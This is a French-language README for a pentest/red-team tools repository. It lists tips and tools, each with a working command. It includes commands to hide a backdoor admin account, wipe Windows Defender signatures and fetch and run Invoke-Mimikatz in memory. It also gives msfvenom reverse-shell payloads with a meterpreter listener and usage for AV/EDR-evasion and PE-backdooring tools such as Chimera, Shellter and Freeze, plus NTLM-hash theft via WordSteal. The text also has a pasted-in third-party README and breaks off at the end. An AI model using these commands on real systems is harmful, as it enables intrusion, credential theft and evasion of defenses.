edu0x01/hack-toolsProjet qui rassemble plusieurs outils de pentest
Ce dépôt contient une collection de 200+ outils et ressources utiles pour les activités de red teaming.
Certains outils peuvent être spécifiquement conçus pour le red teaming, tandis que d'autres sont plus polyvalents et peuvent être adaptés à un contexte de red teaming.
Avertissement
Les matériels de ce dépôt sont fournis à des fins informatives et éducatives uniquement. Ils ne sont pas destinés à être utilisés dans des activités illégales.
Remarque
Masquez les titres de la liste d'outils avec la flèche.
Cliquez sur 🔙 pour revenir à la liste.
git submodule update --init --recursive
### Ajouter un nouveau projet```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Apprenez des membres de l'équipe rouge grâce à une collection de conseils de red teaming. Ces conseils couvrent un éventail de tactiques, d'outils et de méthodologies pour améliorer vos capacités de red teaming.
Remarque : La quasi-totalité des conseils proviennent actuellement de @Alh4zr3d, il publie de bons conseils pour l'équipe rouge !
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Description :** _'Créer des comptes est risqué lorsqu'on essaie d'échapper aux équipes bleues, mais pour créer un administrateur local, utilisez une petite sorcellerie dans le registre pour le cacher.'_
**Crédit :** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Lien :** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Handicaper Windows Defender en supprimant les signatures```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Description : 'Un peu désordonné, mais si Windows Defender vous cause un gros casse-tête, plutôt que de le désactiver (ce qui alerte l'utilisateur), vous devriez simplement le neutraliser en supprimant toutes les signatures.'
Crédit : @Alh4zr3d
Lien : Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Description:** _'Parfois, vous souhaitez vous connecter à un hôte via RDP ou similaire, mais votre utilisateur a une session active. Activez plusieurs sessions par utilisateur.'_
**Crédit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Lien:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Alternative locale à Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Description : 'Êtes-vous fatigué de télécharger Sysinternals PsExec.exe lors de vos mouvements latéraux ? Windows dispose d'une meilleure alternative préinstallée. Essayez plutôt celle-ci.'
Crédit : @GuhnooPlusLinux
Lien : Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Description:** _'Quand c'est possible, utilisez les ressources natives plutôt que de télécharger des outils sur les machines (pour de nombreuses raisons). PowerShell/.NET aident. Ex : scanner de ports simple en PowerShell.'_
**Crédit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Lien:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy-aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Description : 'La plupart des grandes organisations utilisent des proxies web de nos jours. Le berceau de téléchargement PowerShell standard n'est pas compatible avec les proxies. Utilisez celui-ci.'
Crédit : @Alh4zr3d
Lien : Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Description:** _'Vous seriez surpris de ce que vous pouvez découvrir à partir des seuls signets d'un utilisateur. Par exemple, les points d'accès internes auxquels ils peuvent accéder.'_
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Interroger les enregistrements DNS pour l'énumération```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Description : 'L'énumération représente 95% du jeu. Cependant, lancer des tonnes de scans pour évaluer l'environnement est très bruyant. Pourquoi ne pas simplement demander au serveur DC/DNS tous les enregistrements DNS ?'
Crédit : @Alh4zr3d
Lien : Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Description :** _'Trouver des chemins de service non entre guillemets sans PowerUp'_
**Crédit :** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Lien :** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Contourner une invite de commande désactivée avec /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Description : « Cette invite de commande a été désactivée par votre administrateur… » Ce message est souvent rencontré sur des environnements comme les PC de kiosque. Une solution de contournement rapide consiste à utiliser /k via la boîte de dialogue Exécuter de Windows. Cela exécutera la commande, puis affichera le message de restriction, permettant ainsi l’exécution de commandes.
Crédit : Martin Sohn Christensen
Lien : Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Description:** _'Êtes-vous fatigué que Windows Defender supprime mimikatz.exe ? Essayez plutôt ceci.'_
**Crédit:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Lien:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Vérifiez si vous êtes dans une machine virtuelle```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Description : 'Vous voulez savoir si vous êtes dans une machine virtuelle ? Interrogez les clés du registre et découvrez-le !!! Si des résultats apparaissent, vous êtes dans une machine virtuelle.'
Crédit : @dmcxblue
Lien : Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Description :** _'AppLocker peut être pénible. Énumérez pour voir à quel point'_
**Credit :** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Lien :** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# Reconnaissance
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
J'ai rassemblé un one-liner bash qui :
- Collecte passivement une liste de sous-domaines à partir d'associations de certificats ([crt.sh](https://crt.sh/))
- Interroge activement chaque sous-domaine pour vérifier son existence ([httprobe](https://github.com/tomnomnom/httprobe))
- Capture activement une capture d'écran de chaque sous-domaine pour une revue manuelle ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Utilisation :**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note : Vous devez avoir httprobe, pup et EyeWitness installés et remplacer 'DOMAIN_COM' par le domaine cible. Vous pouvez exécuter ce script simultanément dans plusieurs fenêtres de terminal si vous avez plusieurs domaines racines cibles.
Un bookmarklet JavaScript pour extraire tous les liens de points de terminaison d'une page web.
Créé par @renniepak, cet extrait de code JavaScript permet d'extraire tous les points de terminaison (commençant par /) du DOM de la page web actuelle, y compris toutes les sources de scripts externes intégrés dans la page.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**Utilisation (Bookmarklet)**
Créez un bookmarklet...
- `Cliquez droit sur votre barre de favoris`
- `Cliquez sur 'Ajouter une page'`
- `Collez le Javascript ci-dessus dans la boîte 'url'`
- `Cliquez sur 'Enregistrer'`
...puis rendez-vous sur la page cible dans le navigateur et cliquez sur le bookmarklet.
**Utilisation (console)**
Collez le Javascript ci-dessus dans la fenêtre de la console `F12` et appuyez sur Entrée.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Scanner de vulnérabilités rapide qui utilise des templates .yaml pour rechercher des problèmes spécifiques.
**Installation :**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Utilisation :```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Liste de modèles issue de la communauté pour le moteur nuclei, permettant de trouver des vulnérabilités de sécurité dans les applications.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
<a href="#-contributions">Contributions</a> •
<a href="#-discussion">Discussion</a> •
<a href="#-community">Communauté</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQ</a> •
<a href="https://discord.gg/projectdiscovery">Rejoindre DC</a>
</p>
---
Les modèles sont le cœur du [scanner nuclei](https://github.com/projectdiscovery/nuclei) qui propulse le moteur de numérisation lui‑même.
Ce dépôt stocke et héberge divers modèles pour le scanner, fournis par notre équipe ainsi que par la communauté.
Nous espérons que vous aussi contribuerez en envoyant des modèles via des **pull requests** ou des [issues GitHub](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) pour enrichir la liste.
## Aperçu des modèles Nuclei
Un aperçu du projet de modèles Nuclei, incluant des statistiques sur les balises uniques, les auteurs, les répertoires, la sévérité et le type de modèles. Le tableau ci‑dessous contient les dix premières statistiques pour chaque critère ; une version étendue est [disponible ici](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md), et également en format [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) pour intégration.
<table>
<tr>
<td>
## Top 10 des statistiques des modèles Nuclei
| TAG | COMPTE | AUTEUR | COMPTE | RÉPERTOIRE | COMPTE | SÉVÉRITÉ | COMPTE | TYPE | COMPTE |
| --------- | ------ | ------------ | ------ | -------------------- | ------ | -------- | ------ | ---- | ------ |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404 répertoires, 6542 fichiers**.
</td>
</tr>
</table>
## 📖 Documentation
Veuillez vous rendre sur https://nuclei.projectdiscovery.io pour une documentation détaillée afin de **créer** des modèles **personnalisés** ou vos propres modèles.
Nous avons également ajouté un ensemble de modèles pour vous aider à comprendre le fonctionnement.
## 💪 Contributions
Nuclei-templates est alimenté par des contributions majeures de la communauté.
Les [contributions de modèles](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), les [demandes de fonctionnalités](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) et les [rapports de bugs](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) sont les bienvenus.
## 💬 Discussion
Vous avez des questions / doutes / idées à discuter ?
N'hésitez pas à ouvrir une discussion sur le tableau [Discussions GitHub](https://github.com/projectdiscovery/nuclei-templates/discussions).
## 👨💻 Communauté
Vous êtes invités à rejoindre la [Communauté Discord](https://discord.gg/projectdiscovery) active pour discuter directement avec les mainteneurs du projet et partager vos idées avec d'autres personnes autour de la sécurité et de l'automatisation.
De plus, vous pouvez nous suivre sur [Twitter](https://twitter.com/pdnuclei) pour être informé de tout ce qui concerne Nuclei.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Encore merci pour votre contribution et pour garder cette communauté dynamique. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff est un observateur de mots‑clés des logs de transparence des certificats, que j’ai écrit en Python. Il utilise la bibliothèque certstream pour surveiller les logs de création de certificats contenant des mots‑clés définis dans un fichier.
Vous pouvez lancer ce script avec plusieurs mots‑clés relatifs à votre domaine cible ; toute création de certificat sera enregistrée et peut conduire à la découverte de domaines dont vous ignoriez auparavant l’existence.
**Installation :**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Utilisation :```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Outil pratique pour bruteforcer les chemins de fichiers/dossiers sur un site victime.
**Install:**```bash
sudo apt install gobuster
Utilisation :```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Un outil conçu pour effectuer du Forced Browsing, une attaque dont le but est d'énumérer et d'accéder à des ressources qui ne sont pas référencées par l'application web, mais qui sont toujours accessibles par un attaquant.
Feroxbuster utilise la force brute combinée à une wordlist pour rechercher du contenu non lié dans les répertoires cibles. Ces ressources peuvent stocker des informations sensibles sur les applications web et les systèmes d'exploitation, telles que du code source, des identifiants, des adresses réseau internes, etc...
**Installation : (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Installation: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Installation : (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Pour des instructions d'installation complètes, voir ici.
Utilisation:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Des exemples d'utilisation complets sont disponibles [ici](https://epi052.github.io/feroxbuster-docs/docs/examples/).
_Image utilisée à partir de https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) sur les principaux fournisseurs de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Fonctionnalités :
- Détection cloud (API IPINFO et code source)
- Rapide (concurrent)
- Multi-plateforme (windows, linux, mac)
- Randomisation du User-Agent
- Randomisation du proxy (HTTP, Socks5)
**Installation :**
Téléchargez la dernière [version](https://github.com/0xsha/CloudBrute/releases) pour votre système et suivez l'utilisation.
**Utilisation :**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Image utilisée depuis https://github.com/0xsha/CloudBrute
dnsrecon est un outil Python pour énumérer les enregistrements DNS (MX, SOA, NS, A, AAAA, SPF et TXT) et peut fournir un certain nombre de nouveaux hôtes victimes associés à partir d'une seule recherche de domaine.
Installation :```bash sudo apt install dnsrecon
**Utilisation :**```bash
dnsrecon -d google.com
Shodan explore l'infrastructure publique et l'affiche dans un format interrogeable. En utilisant un nom d'entreprise, un nom de domaine, une adresse IP, il est possible de découvrir des systèmes potentiellement vulnérables liés à votre cible via shodan.
Outil pour énumérer les sous-domaines, énumérer le DNS, détecter les WAF, WHOIS, scan de ports, wayback machine, collecte d'emails.
Installation :```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Utilisation :**```python
python3 AORT.py -d google.com
Un programme qui vérifie si un domaine peut être usurpé. Le programme examine les enregistrements SPF et DMARC pour détecter les configurations faibles permettant l'usurpation. De plus, il alertera si le domaine possède une configuration DMARC qui envoie des emails ou des requêtes HTTP en cas d'échec des emails SPF/DKIM.
Les domaines sont usurpables si l'une des conditions suivantes est remplie :
~all ou -allp=none ou est inexistanteInstallation :```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Utilisation:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump est un outil pour énumérer rapidement les buckets S3 d'AWS afin de trouver des fichiers intéressants. Il est similaire à un bruteforceur de sous-domaines, mais est spécifiquement conçu pour les buckets S3 et dispose également de fonctionnalités supplémentaires qui vous permettent de rechercher des fichiers avec grep, ainsi que de télécharger des fichiers intéressants.
Installation:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Utilisation:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Outil pratique pour trouver des informations sur GitHub avec des expressions régulières, avec la possibilité de rechercher des utilisateurs et/ou projets GitHub spécifiques.
Installation :``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Utilisation :**```
./githarvester.py
TruffleHog est un outil qui analyse les dépôts git et recherche des chaînes et motifs à haute entropie pouvant indiquer la présence de secrets, tels que des mots de passe et des clés API. Avec TruffleHog, vous pouvez rapidement et facilement trouver des informations sensibles qui auraient pu être accidentellement commitées et poussées vers un dépôt.
Installation (binaires) : Lien
Installation (Go) :``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Utilisation:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap est un outil de découverte et d'identification d'actifs. Il peut rapidement identifier les protocoles et les informations d'empreintes web/tcp/udp, localiser les types d'actifs, et est adapté aux réseaux internes et externes.
Dismap dispose d'une base de règles d'empreintes complète, comprenant actuellement des empreintes de protocoles tcp/udp/tls et plus de 4500 règles d'empreintes web, capables d'identifier favicon, body, header, etc.
Installation :
Dismap est un fichier binaire pour Linux, macOS et Windows. Rendez-vous sur Release pour télécharger la version correspondante et exécuter :
go run main.go
./dismap
``````bash
# Linux or MacOS
chmod +x dismap-0.3-linux-amd64
./dismap-0.3-linux-amd64 -h
# Windows
dismap-0.3-windows-amd64.exe -h
Utilisation :```bash
./dismap -i 192.168.1.1/24
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
./dismap -i 192.168.1.1/24 --np --timeout 10
./dismap -i 192.168.1.1/24 -t 1000
_Image utilisée depuis https://github.com/zhzyker/dismap_
### [🔙](#tool-list)[enum4linux](https://github.com/CiscoCXSecurity/enum4linux)
Un outil pour énumérer les informations des systèmes Windows et Samba.
Il peut être utilisé pour collecter un large éventail d'informations, notamment :
- Informations sur le domaine et le contrôleur de domaine
- Informations sur les utilisateurs et groupes locaux
- Partages et permissions des partages
- Stratégies de sécurité
- Informations Active Directory
**Installation : (Apt)**```bash
sudo apt install enum4linux
Installation: (Git)```bash git clone https://github.com/CiscoCXSecurity/enum4linux cd enum4linux
**Usage:**```bash
# 'Do everything'
enum4linux.pl -a 192.168.2.55
# Obtain list of usernames (RestrictAnonymous = 0)
enum4linux.pl -U 192.168.2.55
# Obtain list of usernames (using authentication)
enum4linux.pl -u administrator -p password -U 192.168.2.55
# Get a list of groups and their members
enum4linux.pl -G 192.168.2.55
# Verbose scan
enum4linux.pl -v 192.168.2.55
Des informations d'utilisation complètes peuvent être trouvées dans ce blog.
Image utilisée depuis https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/
Scanner dns/réseau/port dangereusement rapide, créé par Esc4iCEscEsc, écrit en rust.
Vous aurez besoin d'un fichier de sous-domaines. Ex. Liste de mots de sous-domaines par Sublist3r.
Install:
Téléchargez la dernière version depuis ici.```bash
sudo apt install wordlists ls /usr/share/dirb/wordlists ls /usr/share/amass/wordlists
**Utilisation :**```bash
skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
Image utilisée depuis https://github.com/Esc4iCEscEsc/skanuvaty
Metabigor est un outil de renseignement dont le but est de réaliser des tâches OSINT et plus, mais sans aucune clé API.
Fonctionnalités principales :
Installation :```bash go install github.com/j3ssie/metabigor@latest
**Utilisation:**```bash
# discovery IP of a company/organization
echo "company" | metabigor net --org -o /tmp/result.txt
# Getting more related domains by searching for certificate info
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
# Only run rustscan with full ports
echo '1.2.3.4/24' | metabigor scan -o result.txt
# Reverse Whois to find related domains
echo 'example.com' | metabigor related -s 'whois'
# Get Google Analytics ID directly from the URL
echo 'https://example.com' | metabigor related -s 'google-analytic'
Image utilisée depuis https://github.com/j3ssie/metabigor
Gitrob est un outil pour aider à trouver des fichiers potentiellement sensibles poussés sur des dépôts publics sur Github.
Gitrob clone les dépôts appartenant à un utilisateur ou une organisation jusqu'à une profondeur configurable et parcourt l'historique des commits en signalant les fichiers qui correspondent à des signatures de fichiers potentiellement sensibles.
Les résultats seront présentés via une interface web pour une navigation et une analyse faciles.
Remarque : Gitrob aura besoin d'un jeton d'accès Github pour interagir avec l'API Github. Créez un jeton d'accès personnel et enregistrez-le dans une variable d'environnement dans votre .bashrc ou un fichier de configuration shell similaire :```bash export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
**Installer: (Go)**```bash
go get github.com/michenriksen/gitrob
Installation : (Binaire)
Une version précompilée est disponible pour chaque version.
Utilisation :```bash
gitrob {org_name}
gitrob -save ~/gitrob-session.json acmecorp
gitrob -load ~/gitrob-session.json
_Image provenant de https://www.uedbox.com/post/58828/_
### [🔙](#tool-list)[gowitness](https://github.com/sensepost/gowitness)
Gowitness est un utilitaire de capture d'écran de sites Web écrit en Golang, qui utilise Chrome Headless pour générer des captures d'écran d'interfaces Web via la ligne de commande, avec un visualiseur pratique pour traiter les résultats. Linux et macOS sont pris en charge, avec un support Windows fonctionnant la plupart du temps.
**Installation : (Go)**```bash
go install github.com/sensepost/gowitness@latest
Des informations complètes sur l'installation peuvent être trouvées ici.
Utilisation :```bash
gowitness single https://www.google.com/
gowitness scan --cidr 192.168.0.0/24 --threads 20
gowitness nmap -f nmap.xml --open --service-contains http
gowitness report serve
Full usage information can be found [here](https://github.com/sensepost/gowitness/wiki/Usage).
_Image used from https://github.com/sensepost/gowitness_
# Développement des ressources
### [🔙](#tool-list)[Chimera](https://github.com/tokyoneon/Chimera)
Chimera est un script d’obscurcissement PowerShell conçu pour contourner les solutions AMSI et antivirus. Il digère des PS1 malveillants connus pour déclencher les AV et utilise la substitution de chaînes et la concaténation de variables pour échapper aux signatures de détection courantes.
**Installation :**```bash
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Utilisation :```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,
invoke-expression,out-string,write-error -j -g -k -r -p
### [🔙](#tool-list)[msfvenom](https://www.offensive-security.com/metasploit-unleashed/Msfvenom/)
Msfvenom permet de créer des payloads pour différents systèmes d'exploitation dans une large gamme de formats. Il prend également en charge l'obfuscation des payloads pour contourner les antivirus.
**Configurer l'écouteur**```shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
run
PHP:```bash msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
**Windows:**```bash
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
Linux:```bash msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
**Java:**```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
HTA:```bash msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
### [🔙](#tool-list)[Shellter](https://www.shellterproject.com/)
Shellter est un outil dynamique d'injection de shellcode, et le premier injecteur PE véritablement dynamique jamais créé.
Il peut être utilisé pour injecter du shellcode dans des applications Windows natives (actuellement uniquement les applications 32 bits).
Shellter tire parti de la structure originale du fichier PE et n'applique aucune modification telle que le changement des permissions d'accès mémoire dans les sections (sauf si l'utilisateur le souhaite), l'ajout d'une section supplémentaire avec un accès RWE, ou tout ce qui pourrait sembler suspect lors d'une analyse antivirus.
Les informations complètes du README sont disponibles [ici](https://www.shellterproject.com/Downloads/Shellter/Readme.txt).
**Installation : (Kali)**```bash
apt-get update
apt-get install shellter
Installation : (Windows)
Rendez-vous sur la page de téléchargement et installez.
Utilisation :
Il suffit de choisir un binaire légitime à backdoorer et d'exécuter Shellter.
Quelques bons conseils sont disponibles ici.
De nombreuses démonstrations d'utilisation par la communauté se trouvent ici.
Image utilisée depuis https://www.kali.org/tools/shellter/images/shellter.png
Freeze est un outil de création de payload utilisé pour contourner les contrôles de sécurité EDR afin d'exécuter du shellcode de manière furtive.
Freeze utilise de multiples techniques non seulement pour supprimer les hooks EDR en espace utilisateur, mais aussi pour exécuter le shellcode d'une manière qui contourne les autres contrôles de surveillance des endpoints.
Installation :```bash git clone https://github.com/optiv/Freeze cd Freeze go build Freeze.go
**Utilisation:**```
-I string
Path to the raw 64-bit shellcode.
-O string
Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
-encrypt
Encrypts the shellcode using AES 256 encryption
-export string
For DLL Loaders Only - Specify a specific Export function for a loader to have.
-process string
The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
-sandbox
Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-sha256
Provides the SHA256 value of the loaders (This is useful for tracking)
Image utilisée depuis https://www.blackhatethicalhacking.com/tools/freeze/
Ce script créera un document Microsoft Word avec une image distante, permettant la capture de hachages NTML à partir d'un point de terminaison victime distant.
Microsoft Word a la capacité d'inclure des images depuis des emplacements distants, y compris une image distante hébergée sur un serveur SMB contrôlé par un attaquant. Cela vous donne l'opportunité d'écouter et de capturer les hachages NTLM qui sont envoyés lorsqu'une victime authentifiée ouvre le document Word et affiche l'image.
Installation :``` git clone https://github.com/0x09AL/WordSteal cd WordSteal
**Utilisation:**```bash
# Generate document containing 'test.jpg' and start listener
./main.py 127.0.0.1 test.jpg 1
# Generate document containing 'test.jpg' and do not start listener
./main.py 127.0.0.1 test.jpg 0\n
Image utilisée depuis https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/
Si vous souhaitez en savoir plus sur les techniques utilisées dans ce framework, veuillez consulter le blog SourceZero et l'outil original.
Description :
Freeze.rs est un outil de création de payload utilisé pour contourner les contrôles de sécurité EDR afin d'exécuter du shellcode de manière furtive. Freeze.rs utilise plusieurs techniques non seulement pour supprimer les hooks EDR en espace utilisateur, mais aussi pour exécuter le shellcode d'une manière qui contourne d'autres contrôles de surveillance des terminaux.
Création d'un processus suspendu :
